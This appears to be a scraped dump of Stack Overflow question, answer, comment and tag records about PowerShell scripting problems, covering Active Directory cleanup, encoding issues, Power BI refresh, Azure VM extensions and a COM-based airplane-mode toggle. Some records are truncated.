has body: You could use ConvertFrom-StringData here, if you manage to replace pipes | with an = that could work. You will also need to skip the first 3 or 2 lines (unclear), so the headers. Assuming you have the sample: $mySSHResult = @' attribute |value ---------------------+----- hostname |foo version |1.1 variant_id |bar '@ -split '\r?\n' Here you would use skip 3, since the output starts with a blank line, then for every line you can replace the | with an = and from there you convert all the lines into a single string with Out-String, this is so ConvertFrom-StringData outputs a single hashtable instead of an array of hashtables and lastly you can convert it to a psobject: $data = $mySSHResult | Select-Object -Skip 3 | ForEach-Object { $_.Replace('|', '=') } | Out-String | ConvertFrom-StringData [pscustomobject] $data Another option can be via split by | and trim the white space then populate an ordered dictionary and lastly convert it to a psobject: $data = [ordered]@{} $mySSHResult | Select-Object -Skip 3 | ForEach-Object { $key, $value = $_.Split('|').Trim() $data[$key] = $value } [pscustomobject] $data

http://stackoverflow.com/q/79269478
score: 0
tagged with: dax
has body: I’m using Power Query (M) in Power BI to retrieve data from the CKAN API. The script starts by calling the package_show endpoint to get a list of resources, then filters the resources and loads each CSV using Web.Contents([url]), where [url] comes from a column in the table. While this works perfectly in Power BI Desktop, it fails to refresh in Power BI Service with the error: This dataset includes a dynamic data source. Since dynamic data sources aren't refreshed in the Power BI service, this dataset won't be refreshed. I understand that Power BI treats URLs derived from table data as dynamic sources. How can I restructure my query or parameters to enable scheduled refresh in Power BI Service without knowing all the URLs in advance, while still leveraging the information returned by package_show? let // Base parameters BaseUrl = "https://donnees.montreal.ca", Endpoint = "/api/3/action/package_show", PackageId = "postes-electifs", // Initial request to retrieve package information Source = Json.Document( Web.Contents(BaseUrl, [RelativePath=Endpoint, Query=[id=PackageId]]) ), // Extract the list of resources from the result.resources field Resources = Source[result][resources], // Convert the list of resources into a table ResourcesTable = Table.FromList(Resources, Splitter.SplitByNothing(), null, null, ExtraValues.Error), // Expand the columns of each resource (id, name, format, url, etc.) ExpandedResources = Table.ExpandRecordColumn( ResourcesTable, "Column1", {"id", "name", "format", "url"}, {"id", "name", "format", "url"} ), // Add a "CSV" column that loads each CSV file from the "url" column CSVData = Table.AddColumn( ExpandedResources, "CSV", each Csv.Document( Web.Contents([url]), [Delimiter=",", Encoding=65001, QuoteStyle=QuoteStyle.None] ) ), // Promote headers for each table CSVWithHeaders = Table.TransformColumns( CSVData, {"CSV", each Table.PromoteHeaders(_)} ), // Combine all CSV tables into a single final table AllData = Table.Combine(CSVWithHeaders[CSV…
type: Question
answer count: 1
tagged with: powerbi
tagged with: refresh
has title: Power BI Service: Unable to refresh dataset with dynamic sources from CKAN
has answer: http://stackoverflow.com/a/79272415
tagged with: powershell
type: UnansweredQuestion

http://stackoverflow.com/comment/139983057
type: Comment
comment on: http://stackoverflow.com/q/79377043
score: 0
has text: question: is by chance this VM a headless install?
type: QuestionComment

http://stackoverflow.com/comment/140013271
type: AnswerComment
comment on: http://stackoverflow.com/a/79394066
has text: @user66001 yep, the form is highly customizable. You can add more options when needed, just have a look at the .NET doc
type: Comment
score: 1

http://stackoverflow.com/comment/139834789
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79296217
has text: In short: In addition to `$null`, PowerShell has a special value called the _enumerable null_ aka "Automation Null" (the [`[System.Management.Automation.Internal.AutomationNull]::Value`](https://docs.microsoft.com/en-US/dotnet/api/System.Management.Automation.Internal.AutomationNull.Value) singleton), which represent the _absence of output_ from a _command_. In _expressions_, it behaves the same as `$null`, but it acts differently in _enumeration contexts_ such as the pipeline, where it acts like an _empty collection_ and therefore enumerates nothing. See the linked duplicate for details.

http://stackoverflow.com/q/79411096
score: 0
has comment: http://stackoverflow.com/comment/140047495
type: UnansweredQuestion
has body: I created a script for deletion of old AD accounts (students who are no longer on school). Since student accounts are created in OUs by their start year, the logic was to first deactivate accounts of the last year in July and then in January next year delete those who don’t come complaining their account stopped working (for example they repeated a year and so they need their account for a year longer). This question is about the deletion only. When I tested the script it worked precisely as intended, but when I set it to get run by a scheduled task, instead of the oldest OU the script deleted still active year, including their home folders, which caused huge issues. This is the script $ParentOU = "OU=ZACI-UCTY,DC=trnkova,DC=local" # Parent OU, where we look for the oldest sub-OU $HomeDirRoot = "\\dc1\zak_home$" # Root path, where home folders are stored # Getting child OUs $OUs = @(Get-ADOrganizationalUnit -Filter "Name -like '20*'" -SearchBase $ParentOU -SearchScope OneLevel | Sort-Object Created) if ($OUs.Count -eq 0) { Write-Host "Žádné podřízené OU nebyly nalezeny pod $ParentOU" -ForegroundColor Yellow exit } # Oldest OU $OldestOU = $OUs[0] $OUName = ($OldestOU.DistinguishedName -split ",")[0] -replace "OU=","" $HomeDirPath = Join-Path -Path $HomeDirRoot -ChildPath $OUName Write-Host "Nejstarší OU k odstranění: $($OldestOU.DistinguishedName)" -ForegroundColor Cyan Write-Host "Smazání odpovídající složky domovských profilů: $HomeDirPath" -ForegroundColor Cyan # Getting users in this OU $Users = Get-ADUser -Filter * -SearchBase $OldestOU.DistinguishedName -SearchScope Subtree # Users' deletion foreach ($User in $Users) { try { Remove-ADUser -Identity $User -Confirm:$false Write-Host "Smazán uživatel: $($User.SamAccountName)" -ForegroundColor Green } catch { Write-Host "Chyba při mazání uživatele $($User.SamAccountName): $_" -ForegroundColor Red } } # Deletion of the relevant home folder if (Test-Path $HomeDirPath) { try { Remove-Item -Path $HomeDirPath -Recurse -…
tagged with: active-directory
has comment: http://stackoverflow.com/comment/140046739
has comment: http://stackoverflow.com/comment/140048226
type: Question
has comment: http://stackoverflow.com/comment/140047384
has comment: http://stackoverflow.com/comment/140046764
answer count: 0
tagged with: scheduled-tasks
has title: Why does scheduled task behave incorrectly?
tagged with: powershell
has comment: http://stackoverflow.com/comment/140047246

http://stackoverflow.com/q/79400555
accepted answer: http://stackoverflow.com/a/79412675
score: 3
has comment: http://stackoverflow.com/comment/140032071
has comment: http://stackoverflow.com/comment/140064665
has comment: http://stackoverflow.com/comment/140026441
has body: I have a weird thing going on in my powershell-script using svn commands. Following is an Powershell-Example Script: $svnOutput = svn status Write-Host "Output when saved in a variable" $svnOutput Write-Host "Direct Output" svn status If I run this script (within the powershell-console), I get two different outputs, if one of the files have non-ascii-characters in the name (in my examples umlauts like üöä). This is the output Output when saved in a variable ? Test_���.txt Direct Output ? Test_äöü.txt I am working on a Windows Server 2022 with a VisualSVNServer Version 5.4.1. I already tested following ideas: chcp 65001 $svnOutput = svn status $svnOutput $OutputEncoding = [System.Text.Encoding]::UTF8 [Console]::OutputEncoding = [System.Text.Encoding]::UTF8 $svnOutput = svn status $svnOutput $svnOutput = & svn status | Out-String -Stream $svnOutput svn status > svn_status.txt $svnOutput = Get-Content -Path "svn_status.txt" -Encoding UTF8 $svnOutput $svnOutput = & svn status | Out-String -Stream $svnOutput But all of them give the same error. PS: this also happends with other commands like $svnOutput = svn add . --force $svnOutput which results in: A Test_���.txt Typing svn add . --force in a powershell instance, or even i a script works without any issues. Hopefully someone can help me here - thanks!
tagged with: utf-8
favorite count: 0
has comment: http://stackoverflow.com/comment/140029507
linked to: http://stackoverflow.com/q/78221468
tagged with: svn
type: Question
linked to: http://stackoverflow.com/q/57131654
answer count: 1
has comment: http://stackoverflow.com/comment/140063168
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/140026249
upvote count: 3
has answer: http://stackoverflow.com/a/79412675
has title: svn status powershell non-ascii characters problem

http://stackoverflow.com/a/79311460
type: Answer
answers question: http://stackoverflow.com/q/79305652
score: 0
has body: It had nothing to do with adm elevation, standard users could not start this script. By luck I had to reset the PC to a previous state (for an unrelated reason) using Win7 restore. Then it appeared that the .PS1 package (containing a certificate) had not been installed correctly the first time. Now standard users can start the script when the execution policy is AllSigned. Wowever, this doesn't resolve the problem for future scripts which will be issued by the local administrator…

http://stackoverflow.com/q/79255264
has comment: http://stackoverflow.com/comment/139758918
has comment: http://stackoverflow.com/comment/139758007
upvote count: 2
has comment: http://stackoverflow.com/comment/139758912
has title: Is there an event corresponding to the start of a new process that I can subscribe to without administrative privileges?
type: UnansweredQuestion
tagged with: events
has answer: http://stackoverflow.com/a/79258729
has comment: http://stackoverflow.com/comment/139758861
has comment: http://stackoverflow.com/comment/139757874
favorite count: 0
has body: The following code starts conhost.exe which, in turn, starts a new instance of pwsh.exe. Process start events are filtered until the pwsh.exe process whose parent is that instance of conhost.exe is found: $sourceId = [guid]::NewGuid().guid Register-CimIndicationEvent ` -ClassName Win32_ProcessStartTrace ` -SourceIdentifier $sourceId $descendantProcessName = 'pwsh.exe' $parentProcess = Start-Process ` -FilePath conhost.exe ` -ArgumentList $descendantProcessName ` -PassThru while ($true) { foreach ($event in (Wait-Event ` -SourceIdentifier $sourceId )) { $event | Remove-Event $newProcess = $event.SourceEventArgs.NewEvent if ($descendantProcessName -ne $newProcess.ProcessName) { continue } if ($parentProcess.Id -ne $newProcess.ParentProcessId) { continue } Get-Process -Id $newProcess.ProcessID Get-EventSubscriber ` -SourceIdentifier $sourceId | Unregister-Event Remove-Event ` -SourceIdentifier $sourceId ` -ErrorAction SilentlyContinue return } } The following is typical output: PS C:\&gt;.\test.ps1 NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName ------ ----- ----- ------ -- -- ----------- 61 35.63 88.23 0.05 9584 3 pwsh That process corresponds to the (first) new instance of pwsh descended from conhost.exe. I have found this technique of waiting on new process events to find new descendants to be robust even when working with installers whose tree of descendant processes can be remarkably elaborate. The polling alternative is vulnerable to missing short-lived intermediate processes altogether. That makes it much more difficult (or perhaps impossible) to establish whether a particular new process descended from the one you started. Such short-lived intermediate processes often seem to live just long enough to launch some descendants before completing. Unfortunately, though, the call to Register-CimIndicationEvent fails when run without administrative privileges on Windows: Register-CimIndicationEvent: C:\test.ps1:3 Line | 3 | Register-CimIndicationEvent ` | ~~~~~~~~~~~~~~~~…
tagged with: windows
type: Question
linked to: http://stackoverflow.com/q/4908906
answer count: 1
score: 2
downvote count: 0
tagged with: process
tagged with: powershell
linked to: http://stackoverflow.com/q/35572872

http://stackoverflow.com/a/79387067
has comment: http://stackoverflow.com/comment/140002184
answers question: http://stackoverflow.com/q/79383686
has comment: http://stackoverflow.com/comment/140000412
accepted answer of: http://stackoverflow.com/q/79383686
has comment: http://stackoverflow.com/comment/140004033
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/140000140
has comment: http://stackoverflow.com/comment/140002190
has body: Preface: The tl;dr is: Your problem isn't reproducible. However, pitfalls do exist with respect to effective culture settings, as discussed below. None of the pitfalls discussed below apply to PowerShell (Core) 7, irrespective of its host application; by definition it can not run in the Windows PowerShell ISE, which is but one of the reasons to avoid the latter (see next point). Let me complement the advice to avoid the ISE in sirtao's answer with the following standard advice: The PowerShell ISE is no longer actively developed and there are reasons not to use it (bottom section), notably not being able to run PowerShell (Core) 7. The actively developed, cross-platform editor that offers the best PowerShell development experience is Visual Studio Code with its PowerShell extension. .NET has both an effective culture ([cultureinfo]::CurrentCulture) and a UI culture ([cultureinfo]::CurrentUICulture) per thread that can be set independently of one another and serve distinct purposes: .CurrentCulture contains "information includes the names for the culture, the writing system, the calendar used, the sort order of strings, and formatting for dates and numbers." As such, only .CurrentCulture is the one that matters in the case at hand. On Windows, PowerShell's Set-Culture cmdlet can be used to persistently change the current culture for future sessions. .CurrentUICulture is the "culture used by the Resource Manager to look up culture-specific resources at run time." PowerShell has no Set-UICulture cmdlet analogous to Set-Culture. While there are many subtle and treacherous differences between the ISE and a regular Windows PowerShell console window / WT (Windows Terminal) tab, there is no appreciable difference with respect to culture handling.[1] However, there are culture-handling pitfalls that affect both environments: Interactively setting [cultureinfo]::CurrentCulture (applies analogously to [cultureinfo]::CurrentUICulture) takes effect only for the given command subm…
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/140005729
has comment: http://stackoverflow.com/comment/140000323
has comment: http://stackoverflow.com/comment/140010061
has comment: http://stackoverflow.com/comment/140000720

http://stackoverflow.com/comment/139891848
comment on: http://stackoverflow.com/q/79329816
has text: All my other modules have that, it’s a help on !windows. The way I’ve implemented this is how I’ve done it for my other modules, https://github.com/johncwelch/Get-PSDisplayDialog/tree/main/Get-DisplayDialog is the one I released prior to this one, and https://github.com/johncwelch/Get-PSChooseFile/tree/main/Get-ChooseFile is the problem child. Given my earlier module, I doubt the shebang is the issue. In any event, removing it didn’t fix the problem.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140010197
type: AnswerComment
comment on: http://stackoverflow.com/a/79391497
type: Comment
has text: +1. Re `Remove-Item` vs. `Remove-Variable`: Indeed, using something like `Remove-Item Env: _CE_M` is an alternative to `$env:_CE_M = $null`. `Remove-Variable`, by contrast, by design only operates on _shell_ (PowerShell-only) variables rather than _environment_ variables.
score: 0

http://stackoverflow.com/q/79344223
linked to: http://stackoverflow.com/q/79259441
has comment: http://stackoverflow.com/comment/139919366
tagged with: powershell
type: UnansweredQuestion
has title: Powershell Folder Path Error using Move-Item
tagged with: subdirectory
upvote count: 1
linked to: http://stackoverflow.com/q/53399457
has comment: http://stackoverflow.com/comment/139919488
has body: I have a basic script that is designed to create a folder and subfolder based on the file name with '_' as the delimeter. Folders are created, but I get a "Could not find part of the path" error. Here is my code: # Get all files in the current directory #$files = Get-ChildItem -File $sourcePath = "C:\Users\Home\..." # Get a list of all files in the source folder $files = Get-ChildItem -Path $sourcePath -File -Filter *.zip # Loop through each file foreach ($file in $files) { # Extract parts of the file name $part1 = $file.BaseName.Split('_')[0] $part2 = $file.BaseName.Split('_')[1] # Create the folder structure if it doesn't exist $folderPath = Join-Path $sourcePath $part1 New-Item -ItemType Directory -Path $folderPath -Force $folderPathSub = Join-Path $folderPath $part2 New-Item -ItemType Directory -Path $folderPathSub -Force # Move the file to the new folder structure Move-Item -Path $file -Destination $folderPathSub } All files are .zip files and resulting folders do contain spaces. It works if I hardcode the path using "", but not when I use a variable. Each file is different, so I need to use a variable to put it in the right folder. I also tried using Copy, but get the same results. I have been testing this on a single .zip file before trying it on all of my files. The script should create a folder based on the filename section before the _ and a subfolder based on the filename section after the _ and then move the file into the subfolder. Any help is appreciated. Thanks.
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139919467
has comment: http://stackoverflow.com/comment/139924952
type: Question
duplicate of: http://stackoverflow.com/q/53399457
answer count: 0
downvote count: 0

http://stackoverflow.com/comment/139842689
type: QuestionComment
type: Comment
score: 3
comment on: http://stackoverflow.com/q/79302651
has text: Easy, stop using workflows :)

http://stackoverflow.com/q/79388266
type: Question
downvote count: 0
has body: Each one of the following commands when entered manually in the normal windows command prompt (cmd, not powershell) runs fine one after the other: cd cmake\windows\rel "C:\Program Files (x86)\Intel\oneAPI\setvars.bat" vtune -collect hotspots --app-working-dir=%cd% -- %cd%/CMakeProject set /p name="Enter Hotspot Folder name: " vtune-gui %name%/%name%.vtune Essentially, from within my project folder, I navigate to the folder where the executable is built (first line), folder cmake\windows\rel, then I load the environment variables by running the batch file setvars.bat. This is then followed by running the profiler via the vtune command. Then, after accepting a user input of the folder name, that folder name is provided as an input to the vtune-gui command. Note that vtune and vtune-gui are not in the Windows path. setvars.bat temporarily for the cmd session creates this path and allows me to use vtune and vtune-gui on the command line. When I try these commands via a batch file (bfile.bat) from within the default powershell terminal of VSCode, I have the following: PS MyProjectFolder> .\bfile.bat MyProjectFolder> cd cmake\windows\rel MyProjectFolder\cmake\windows\rel> "C:\Program Files (x86)\Intel\oneAPI\setvars.bat" ...output of setvars.bat here...it runs without errors... PS MyProjectFolder> The third, fourth and fifth lines of the batch file do not run at all and I do not get any output from powershell indicating some error or so occurred. The last line of the output above tells me that I am back to MyProjectFolder now. Also, note that only the first and last line of the output above are prefixed with PS. The second, third and other lines of output do not have that prefix. How can I get the batchfile to run and perform all of the five steps which currently I am forced to do manually?
answer count: 1
tagged with: powershell
has answer: http://stackoverflow.com/a/79388711
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79388711
score: 1
tagged with: environment-variables
upvote count: 1
tagged with: batch-file
tagged with: windows
favorite count: 0
linked to: http://stackoverflow.com/q/20077820
has title: Running a sequence of commands from within powershell of VSCode

http://stackoverflow.com/comment/140027232
has text: $result did not display anything when I ran this code on my system.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79400936
type: Comment

http://stackoverflow.com/comment/140044480
score: 0
type: QuestionComment
has text: this was the fix, protected_settings = <<SETTINGS { "commandToExecute": "powershell -command \"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('${base64encode(data.template_file.disks-customscript.rendered)}')) | Out-File -filepath CustomScriptDataDisks.ps1\" && powershell -ExecutionPolicy Unrestricted -File CustomScriptDataDisks.ps1" } but i need to figure out how to pass multiple scripts as you cannot create another azurerm_virtual_machine_extension due to it being unsupported by MSFT
comment on: http://stackoverflow.com/q/79409855
type: Comment

http://stackoverflow.com/q/79252900
has title: Importing Module for System.Runtime.CompilerServices.Unsafe gives version 4.0.4.0 instead of 4.0.4.1
tagged with: powershell
answer count: 1
has body: I have a working PowerShell web scraping script using the latest Selenium client for .NET (4.27.0). I run this script on 2 laptops, both running Windows 11 23H2. Everything has been working fine. In version 4.24.0 Selenium migrated from Newtonsoft.Json to System.Text.Json, and required me to download a number of other packages that were dependencies of System.Text.Json. One of those dependencies was 'System.Runtime.CompilerServices.Unsafe'. In order to run the script both the NetStandard2.0 dll's from 'system.runtime.compilerservices.unsafe.6.0.0.nupkg' and 'system.runtime.compilerservices.unsafe.4.5.3.nupkg' were required. The 4.5.3 package actually contains the dll that corresponds to 'System.Runtime.CompilerServices.Unsafe, Version=4.0.4.1. Here is my issue. Yesterday I updated one of the Windows 11 23H2 laptops to Windows 11 24H2 but now when I try to run the script on that laptop the script fails with the following exception: ---&gt; System.TypeInitializationException: The type initializer for 'OpenQA.Selenium.SeleniumManagerSerializerContext' threw an exception. ---&gt; System.IO.FileNotFoundException: Could not load file or assembly 'System.Runtime.CompilerServices.Unsafe, Version=4.0.4.1, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' or one of its dependencies. The system cannot find the file specified. at System.MemoryExtensions.AsSpan(String text) at System.Text.Json.JsonEncodedText.Encode(String value, JavaScriptEncoder encoder) at OpenQA.Selenium.SeleniumManagerSerializerContext..cctor() --- End of inner exception stack trace --- at OpenQA.Selenium.SeleniumManager.RunCommand(String fileName, String arguments) --- End of inner exception stack trace --- at OpenQA.Selenium.SeleniumManager.RunCommand(String fileName, String arguments) at OpenQA.Selenium.SeleniumManager.BinaryPaths(String arguments) at OpenQA.Selenium.DriverFinder.BinaryPaths() at OpenQA.Selenium.DriverFinder.GetDriverPath() at OpenQA.Selenium.Chromium.ChromiumDriver.GenerateDriverService…
score: 0
has answer: http://stackoverflow.com/a/79253221
type: UnansweredQuestion
tagged with: selenium-webdriver
linked to: http://stackoverflow.com/q/70745024
type: Question
tagged with: system.text.json

http://stackoverflow.com/a/79546543
score: 0
answers question: http://stackoverflow.com/q/79405109
type: Answer
has body: Did you try: "suppressApplicationTitle": true, in your profile settings? See: Suppress title changes
has comment: http://stackoverflow.com/comment/140283634

http://stackoverflow.com/comment/140022229
score: 0
has text: Please [format your post properly](https://stackoverflow.com/help/formatting).
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79398085

http://stackoverflow.com/a/79439913
has body: I had exactly the same problem, and reproduced it in a pure .Net app (without PowerShell). I think it's a threading issue. I made a lot of experiments to walk around this issue. It seems that we cannot call GetCookiesAsync(&quot;&quot;).GetAwaiter().GetResult() in response of an event. GetCookiesAsync must be called in an async function (potentially with an 'await' call). Then event handler can then be async, but it is not possible (or not found how) to do it in PowerShell. (I tried with Powershell Jobs and ThreadJobs, without success). So I wrote a PowerShell binary module to wrap this. It consists of a hidden WPF application that run in the background and with a CmdLet written in C# that communicates with it. You can find it here: https://github.com/Woazim/PSWebView2 This is a work in progress and suggestions are welcome as I'm not an experimented C# .Net developer. However, it can be a base to your use case.
answers question: http://stackoverflow.com/q/79322475
score: 0
type: Answer

http://stackoverflow.com/q/79312111
has answer: http://stackoverflow.com/a/79312248
tagged with: http://stackoverflow.com/tag/xml
accepted answer: http://stackoverflow.com/a/79312248
answer count: 3
type: Question
has body: I am trying to retrieve the value from the name="KeyStorePath" attribute, which is within a 'Set' element. See below: <?xml version="1.0" encoding="UTF-8"?> .*NULL.* .*RC4.* .*MD5.* .*DES.* .*DSS.* SSL SSLv2 SSLv2Hello SSLv3 D:\VALUE\ADM\VALUE.keystore REMOVED Here is the snippet in my PowerShell script where I'm trying to pull that the needed information: [xml]$jetty = gc "$CADPathFull\bin\conf\jetty\jetty-ssl-context.xml" $jettyPath = $jetty.Configure.Set | Where-Object Name -EQ 'KeyStorePath' If I try to see the value of $jettyPath, it comes up blank/empty. If I try to see the value of $jetty.Configure.Set, I see this information: OverloadDefinitions ------------------- void Set(int , System.Object ) Is there something wrong with the structuring of the XML file or am I approaching this incorrectly? On a side note, I am able to retrieve the Call elements without an issue using $jetty.Configure.Call
downvote count: 0
linked to: http://stackoverflow.com/q/68083326
has answer: http://stackoverflow.com/a/79316685
tagged with: powershell
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/76237820
linked to: http://stackoverflow.com/q/77552553
linked to: http://stackoverflow.com/q/2555769
has answer: http://stackoverflow.com/a/79312282
tagged with: powershell-5.1
has title: Unable to Retrieve Information from a 'Set' Element within an XML File Using PowerShell
score: 1
possible better answer: http://stackoverflow.com/a/79312282
upvote count: 1
favorite count: 0

http://stackoverflow.com/a/79348303
answers question: http://stackoverflow.com/q/79348302
score: 0
has body: Basically, @Destroy666 is right, although I've come from a similar issue also posted here. Yet, it turns out the code is right, but the Powershell seems to have problems with processing it correctly - but I am a newbie with Powershell, so I can't be sure now. So, after trying and assessing, I've found that closing and re-opening Powershell clears some cache or interprets the code from scratch, so it works fine. Also, right now it behaves in a way that it needs a Powershell closing/re-opening each time the base class (called A above) code is changed, otherwise false positive errors occur. To me, although it looks to be related to programming, this knowledge may be useful to any system admin that writes some Powershell code like this.
type: Answer

http://stackoverflow.com/comment/139834731
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79296160
has text: Try to [I avoid using the increase assignment operator (`+=`) to create a collection](https://stackoverflow.com/a/60708579/1701026). For the iterations you want to do in parallel: move the `foreach` statement into the [`ForEach-Object -Parallel`](https://learn.microsoft.com/powershell/module/microsoft.powershell.core/foreach-object#-parallel) cmdlet.

http://stackoverflow.com/comment/139761660
has text: In short: PowerShell *enumerates* arrays (and similar data structures) that you output from a function (whether or not you output them implicitly or via a `return` statement), i.e. it _streams_ (outputs) their elements _one by one_. To output an array *as a whole*, use `, $array` (sic; or `return , $array`) or `Write-Output -NoEnumerate $array`. That said, this technique is best avoided in public functions, because the general expectation is element-by-element output. The alternative is to make the caller use `@(...)` to ensure receiving an array. See the linked duplicate for details.
score: 1
comment on: http://stackoverflow.com/q/79257776
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140043441
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79324379
type: Comment
has text: While it's true `shell:AppsFolder` isn't a direct executable path like a `.exe`, `Start-Process` can launch UWP apps using this syntax with the AppID, as shown in the example. The problem is specifically that `Start-Process`'s `-Wait` switch and other related parameters don't function correctly with UWP apps launched via the `shell:AppsFolder` protocol, as the question describes.

http://stackoverflow.com/q/79302651
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/43685522
has comment: http://stackoverflow.com/comment/139842689
has comment: http://stackoverflow.com/comment/139847248
has comment: http://stackoverflow.com/comment/139843554
has comment: http://stackoverflow.com/comment/139843061
favorite count: 0
has title: How can I change limit in ForEach?
has comment: http://stackoverflow.com/comment/139842924
type: Question
has comment: http://stackoverflow.com/comment/139843729
has comment: http://stackoverflow.com/comment/139843655
score: 2
answer count: 0
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139843163
has body: I'm using workflow to execute a part of my script. I'm trying to execute this command : ForEach -Parallel ($Data in $DataList) { MyJob } The problem is the parallel limit. ForEach limit the number of script blocks that run in parallel to 5. How can I run more than 5 script blocks ? I tried to use "ThrottleLimit" parameter but it does not work.... Thank you for your help
upvote count: 2
has comment: http://stackoverflow.com/comment/139842820
has comment: http://stackoverflow.com/comment/139844821

http://stackoverflow.com/comment/139773114
type: QuestionComment
type: Comment
has text: @Luke, UniqueName doesn't quite work, at least not all the time. For example, for `WCF Services` the `ServerComponent\Parent` is `NET-Framework-45-Core` but its parent (`.NET Framework 4.8 Advanced Services`) has the `ServerComponent\UniqueName` of `NET-Framework-45-AdvSrvs`.
score: 0
comment on: http://stackoverflow.com/q/79263318

http://stackoverflow.com/comment/140029507
has text: @mklement0 by "in the normal powershell" I mean just typing the command in a powershell instance. But even when I type `$svnOutput = svn status` and afterwards output via typing `$svnOutput` in the powershell instace, I get the same sympton as via a script.
comment on: http://stackoverflow.com/q/79400555
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79390622
type: UnansweredQuestion
has title: Active directory using Powershell on Windows server 2019, argument ‘NewDomain’ not recognised
score: 0
tagged with: windows-server-2019
has body: I am trying to set up an active directory forest on Windows server 2019 through powershell. This server will be the only domain controller for now. I have set my static IP address, the DNS is set to use this same static IP address. I am trying to follow this tutorial When I try to run the command: Install-ADDSForest -DomainName "corp.contoso.com" I get an error-message that is confusing to me. It says: Install-ADDSForest: Verification of prerequisites for Domain Controller promotion failed. The specified argument ‘NewDomain’ was not recognised. This is confusing to me because I am not supplying the argument NewDomain, it is like some other process intercepts my command and decides to add this argument. Any help would be appreciated. I have gotten this in at least two environments and I also applied the latest updates. Thanks in advance. I tried uninstalling the whole thing to start fresh and probably re-install any modules that could be buggy but it does not let me union the domain.
tagged with: active-directory
has comment: http://stackoverflow.com/comment/140007038
type: Question
tagged with: domaincontroller
answer count: 0
tagged with: powershell

http://stackoverflow.com/a/79278189
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/79277893
has comment: http://stackoverflow.com/comment/139798914
has body: PowerShell help also has "about" topics; the ones you need for your example are about_Operators and about_Comparison_Operators. To see which "about" topics are available, use Get-Help about_*. You may need to Update-Help before the help will be available. See the online help for Get-Help. ETA: If you need to run Update-Help, you will need to do it in an elevated (run-as-admin) PowerShell.
accepted answer of: http://stackoverflow.com/q/79277893
type: AcceptedAnswer
type: Answer
downvote count: 0

json-patch
type: Tag
tags question: http://stackoverflow.com/q/79258847
tag name: json-patch

http://stackoverflow.com/comment/139790113
comment on: http://stackoverflow.com/a/79273719
has text: Oh, I do use RunAs in a variant of this block. Would I need to use Start-Process then?
type: AnswerComment
type: Comment
score: 1

http://stackoverflow.com/comment/139901646
type: QuestionComment
type: Comment
score: 1
has text: Try using ```filePath: $(Pipeline.Workspace)/rithtemplates/scripts/my-rith.ps1```, Here add this ```$(Pipeline.Workspace)``` instead of ```$(Build.SourcesDirectory)```
comment on: http://stackoverflow.com/q/79335299

http://stackoverflow.com/q/79324508
answer count: 1
tagged with: arguments
has comment: http://stackoverflow.com/comment/139881732
has answer: http://stackoverflow.com/a/79324586
type: UnansweredQuestion
score: 1
tagged with: function
upvote count: 1
favorite count: 0
tagged with: parameters
type: Question
has title: How to get the argument passed to function with switch statement?
has comment: http://stackoverflow.com/comment/139881627
has body: function test { [CmdletBinding()] param ( [Parameter( Mandatory = $true, ParameterSetName = "MyArgument" )] [ValidateSet("Value1", "Value2")] [string[]] $MyArguments ) foreach ($MyArgument in $MyArguments) { switch ($MyArgument) { Value1 { write-host "$parameter used" } Value2 { write-host "$parameter used" } } } } test -MyArgument Value1, Value2 How to get the actual argument passed by parameter if we use switch? I tried to catch it by $MyInvocation.BoundParameters.Values and $PSCmdlet.MyInvocation.InvocationName, but failed. I want to get instead of a variable $parameter Value1 if we call Value1, and Value2 if we call Value2, but all approaches receive all values at once. Thanks in advance.
downvote count: 0
tagged with: powershell

http://stackoverflow.com/comment/140157132
comment on: http://stackoverflow.com/a/79406026
score: 0
type: AnswerComment
type: Comment
has text: `conda update --all` is another option to simply get the latest version of conda, if you don't mind upgrading all the packages in your base environment.

http://stackoverflow.com/a/79277737
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79277736
type: Answer
has body: Below is a PowerShell script that toggles airplane mode in Windows using COM interfaces and native Windows APIs. # script for toggling the airplane mode in Windows # carsten.giese@googlemail.com cls remove-variable * -ea 0 $ErrorActionPreference = 'stop' Add-Type -TypeDefinition @' using System; using System.Runtime.InteropServices; public static class NativeMethods { [DllImport("ole32.dll")] public static extern int CoInitialize(IntPtr pv); [DllImport("ole32.dll")] public static extern void CoUninitialize(); [DllImport("ole32.dll")] public static extern uint CoCreateInstance(Guid clsid, IntPtr pv, uint ctx, Guid iid, out IntPtr ppv); } [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate int GetSystemRadioStateDelegate(IntPtr cg, out int ie, out int se, out int p3); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate int SetSystemRadioStateDelegate(IntPtr ptr, int state); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate int ReleaseDelegate(IntPtr ptr); '@ $CLSID = '581333F6-28DB-41BE-BC7A-FF201F12F3F6' $IID = 'DB3AFBFB-08E6-46C6-AA70-BF9A34C30AB7' $CRID = '73726163-6574-676e-6965-736531333131' $mrs = [System.Runtime.InteropServices.Marshal] try { $irm = 0 $null = [NativeMethods]::CoInitialize(0) $null = [NativeMethods]::CoCreateInstance($CLSID, 0, 4, $IID, [ref]$irm) $comPtr = $mrs::ReadIntPtr($irm) $methodPtr = [IntPtr[]]::new(8) $mrs::Copy($comPtr, $methodPtr, 0, $methodPtr.Length) $getState = $mrs::GetDelegateForFunctionPointer($methodPtr[5], [GetSystemRadioStateDelegate]) $setState = $mrs::GetDelegateForFunctionPointer($methodPtr[6], 